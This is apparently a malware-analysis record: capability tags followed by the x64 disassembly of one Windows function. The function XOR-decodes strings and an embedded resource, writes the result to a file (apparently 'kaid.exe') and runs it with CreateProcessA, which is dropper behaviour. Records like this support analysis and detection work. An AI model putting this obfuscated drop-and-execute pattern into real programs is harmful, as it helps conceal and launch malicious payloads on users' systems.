Function at 0x140001000
Capabilities:
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
sub rsp, 0x28
call fcn.140001020
test eax, eax
jne 0x140001016
add rsp, 0x28
jmp 0x140001530
xor ecx, ecx
call fcn.140006018
int3
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r15d, r15d
mov dword [rbp - 0x69], 0x4e5b4e4b
mov ebx, r15d
mov byte [rbp - 0x65], 0
nop
mov edi, ebx
inc ebx
cmp byte [rbp + rbx - 0x69], r15b
jne 0x140001570
lea ecx, [rbx + 1]
call fcn.140001850
mov edx, r15d
test ebx, ebx
je 0x1400015bf
lea r10, [rbp - 0x69]
mov r8, rax
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r8 + r10]
xor cl, 0xf
mov byte [r8], cl
cmp edx, edi
lea ecx, [rdx + 1]
mov edx, ecx
jne 0x1400015b8
mov byte [rcx + rax], r15b
inc r8
cmp edx, ebx
jb 0x1400015a0
mov r8, rax
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov edi, r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r14d
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.14000eb30
mov edx, r15d
test r14d, r14d
je 0x140001661
mov rcx, rsi
nop dword [rax]
test edx, edx
jne 0x14000163e
xor byte [rcx], 0xf
mov edx, 1
jmp 0x140001658
cmp edx, 1
jne 0x14000164d
xor byte [rcx], 0xe
mov edx, 2
jmp 0x140001658
cmp edx, 2
jne 0x140001658
xor byte [rcx], 0xd
mov edx, r15d
inc rcx
sub rdi, 1
jne 0x140001630
mov dword [rbp - 0x69], 0x6b666e64
mov ebx, r15d
mov dword [rbp - 0x65], 0x6a776a21
mov byte [rbp - 0x61], r15b
nop word [rax + rax]
mov edi, ebx
inc ebx
cmp byte [rbp + rbx - 0x69], r15b
jne 0x140001680
lea ecx, [rbx + 1]
call fcn.140001850
mov edx, r15d
test ebx, ebx
je 0x1400016cf
lea r9, [rbp - 0x69]
mov r8, rax
sub r9, rax
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r8 + r9]
xor cl, 0xf
mov byte [r8], cl
cmp edx, edi
lea ecx, [rdx + 1]
mov edx, ecx
jne 0x1400016c8
mov byte [rcx + rax], r15b
inc r8
cmp edx, ebx
jb 0x1400016b0
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp - 0x41]
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, r14d
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp + 0x27], rax
mov ebx, r15d
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x49], rax
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp - 0x59], xmm0
nop dword [rax + rax]
mov edi, ebx
inc ebx
cmp byte [rbp + rbx - 0x69], al
jne 0x140001750
lea ecx, [rbx + 1]
call fcn.140001850
mov r10, rax
mov edx, r15d
test ebx, ebx
je 0x14000179f
lea r9, [rbp - 0x69]
mov r8, rax
sub r9, rax
nop word [rax + rax]
movzx ecx, byte [r8 + r9]
xor cl, 0xf
mov byte [r8], cl
cmp edx, edi
lea ecx, [rdx + 1]
mov edx, ecx
jne 0x140001798
mov byte [rcx + rax], r15b
inc r8
cmp edx, ebx
jb 0x140001780
lea rax, [rbp - 0x59]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x39]
xor edx, edx
mov qword [rsp + 0x40], rax
mov rcx, r10
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140001830
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret